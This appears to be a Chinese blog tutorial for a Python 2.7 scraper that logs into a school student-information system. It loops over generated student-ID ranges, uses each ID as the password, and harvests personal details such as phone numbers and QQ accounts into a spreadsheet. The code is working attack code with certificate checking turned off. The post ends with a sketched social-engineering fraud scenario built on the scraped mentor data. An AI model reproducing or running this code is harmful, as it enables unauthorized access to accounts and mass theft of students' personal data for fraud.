前言:
这个没什么技术难度,懂爬虫的人和程序员都可以用学的语言写出来
只是很多安全问题的存在,的确影响着我们的生活,
希望大家可以认识到一些网站的后台密码的规则与自己的安全性
简单的说,就是是程序员的懒,让用户的信息暴露在互联网上
还有一点:
就是希望正在接触python,和快要放弃学习的同学,可以试试换种思路,
来试试爬虫,这样有成就感的累积,可以慢慢提升你的自信
爬虫开始前的准备:
- python2.7
- 库文件(xlwt,urllib2,BeautifulSoup4,xlrd)
安装库文件的方法:
最好在你的python2.7/script/下面打开power shell(可以shift+右击) 执行下面的:
安装库文件:
pip install *** ***是指上面的库文件,下面不一定都用,只要上面的,以后出什么错,你就继续pip install
from bs4 import BeautifulSoup
import requests
import json
import time
import os
import re
from pprint import pprint
import ssl
import cookielib
import urllib2
import urllib
import sys
import xlrd
import xlwt
如何查看自己已经安装了的库
pip list
观察网站结构(密码规则):
- 首先这个规则是针对大二和已经毕业了的
- 密码规则没有添加验证码(其实添加验证码也没什么用,只是添加了爬取门槛)
- 规则是 用户名==密码
符合条件
- 这里的用户信息
- 不要在意这些细节(马赛克) 朦胧美一直是我的追求
具体思路:
模拟登陆 ==》制作学号规则==》信息查询(爬取)==》存入xls
模拟登陆:
因为我们是用爬虫取信息,每次访问,
- 肯定是登陆了以后才可以访问我们的信息 ==》模拟登陆
- 当我们用脚本访问下一个页面,需要一个cookie信息,就好比,当你打开
qq空间,其实是想腾讯那里提交了自己的信息,而我们的信息就存在cookie中
- python 中cookie维持会话访问:
sys.setdefaultencoding("utf-8")
# ssl这个是验证证书 https
ssl._create_default_https_context = ssl._create_unverified_context
# 生成一个存储cookie的对象
c = cookielib.LWPCookieJar()
cookie = urllib2.HTTPCookieProcessor(c)
opener = urllib2.build_opener(cookie)
urllib2.install_opener(opener)
-
模拟登陆
具体网址不分享,避免带来不必要的麻烦
url="http://XXX.xxxx.edu.cn:80/Mobdle/S0s/Login.aspx"
headers={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36',
'Host':'bydg.sjzpt.edu.cn:8080',
'Referer':'http://XXX.xxxx.edu.cn:80/Mobdle/S0s/Login.aspx'
}
#这里是post提交的数据,写成字典的格式--编码然后提交
data= {
'__VIEWSTATE':'/wEPDwUJNzE4ODIxNTQyZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUMSW1hZ2VCdXR0b24xyPtnkTVK5s7OSriVHZGoeBQymQUUjppPK0Se8wDLMqM=',
'username':username,
'password':password,
'ImageButton1.x':'105',
'ImageButton1.y':'44'
}
# req = requests.post(url,headers=headers,data=data)
# soup = BeautifulSoup(req,'html.parser')
data=urllib.urlencode(data) #这里对post 提交的数据编码
# print data
html = opener.open(url,data=data).read() #这里访问以下网页,这时候cookie会存到opener里
-
学号的列表
不要在意我是怎么知道的,
重要的是这些规则,你怎么去重新写一个函数代入
(里面的我修改过,所以不要套用,以免浪费时间)
# 学号只在最后3位不一样,随机数xrange() 可以处理更好的处理大的列表
def user_id():
list_1 = []
for i in xrange(101,249):
list_1.append('1131050'+str(i))
for i in xrange(301,349):
list_1.append('1131050'+ str(i))
for i in xrange(401,448):
list_1.append('1131050'+ str(i))
for i in xrange(501,548):
list_1.append('1131050'+ str(i))
for i in xrange(101,150):
list_1.append('1131070'+ str(i))
for i in xrange(101,151):
list_1.append('1131050'+ str(i))
for i in xrange(201,252):
list_1.append('1135050'+ str(i))
for i in xrange(301,352):
list_1.append('1131050'+ str(i))
for i in xrange(401,453):
list_1.append('1131050'+ str(i))
for i in xrange(101,148):
list_1.append('1131070'+ str(i))
for i in xrange(201,247):
list_1.append('1131070'+ str(i))
return list_1
-
用户信息的获取
这里用的的是beautifulsoup库
def user_info():
url_info="http://XXX.xxxx.edu.cn:80/Modile/Sys/Meddage/Info.aspx"
html2 = opener.open(url_info).read()
# python2.7 没装lxml的可能会报错,pip install lxml
soup = BeautifulSoup(html2,"lxml") #以lxml 方式解析抓下来的lxml
infos = soup.select("tr > td > span") # css seletor 来获取指定标签
#print profes
# print infos
return infos
-
写入xls(这个是思路)测试用的函数
因为在写的时候因为编码问题,不能写入中文
def write_user():
file2 = xlwt.Workbook(encoding='utf-8') #打开一个excel,并且编码格式以 'utf-8'
table = file2.add_sheet('info',cell_overwrite_ok=True) #添加一个表
table.write(0,0,"15d中文3s0") # 写入内容,table.write(row,col,'value')
file2.save('file2.xls')
-
开始行动:
-
添加上延迟访问: time.sleep(1)
- 因为爬虫访问的不和人一样,访问会很快,
- 这样可以避免被封ip 还有避免给站点带来不好的影响
def go_user():
user_list = []
user_infos = []
user_list = user_id()
file2 = xlwt.Workbook(encoding='utf-8')
table = file2.add_sheet('info',cell_overwrite_ok=True)
r = 0 #row 行
for i in user_list:
c = 0 #col
login(username=i, password=i) #登录,并传入列表的学号
user_infos = user_info() #获取学号信息,格式是字典
for i in user_infos[0:10]: #写入表单中,循环把信息写进去
# print i.get_text()
table.write(r,c,i.get_text())
c += 1
r += 1
time.sleep(1) #延迟访问,可避免封ip,还有影响服务器
print r,c
file2.save('file2.xls')
程序执行结束:
部分截图:有图有真相,避免无知的喷子
学号规则很好找的,这样就获取半个学校的call和qq啦,至于能干嘛,自己脑补。。。
不知道库的使用方法,我这里总结了下,还有不知道的只能百度啦
总结:
程序员偷懒,验证码不设定,密码和学号一样,简单的说,是没有安全概念
往深的说,是对学生不负责-
诈骗思路: --这里我模仿一下骗子
学生学习里面还有企业导师,里面有企业导师的详细信息,从业资格证书,详细到几几年获得
还有毕业时间,这么详细的信息,不就是为骗子准备的,社工可以获取企业导师的习惯,再和实习生说出企业导师的详细信息,让你放下戒备,然后,开始骗钱,涉及到公司,再结合让你走公司资金(前提你是财务)。。。。。。学校要这么详细的信息,还这么不注重安全,向钱看的目标是不能变,但是,更细致的为学生考虑好,会不会带来更好的声誉呐,值得深思
看见的同学请修改下密码,避免没必要的麻烦(有必要麻烦转发下,至少我们一起努力过)
喜欢作者的可以关注下,定期更新
往期文章:
通过内网截取女神正在浏览的照片(需要kali)
央视播放摄像头被破解--的遗留问题(安全在人性)
通过人性的特点,破解用户的密码(社工)
利用好网络资源,提升自己的生活体验
查找好友的具体位置 (更多方法)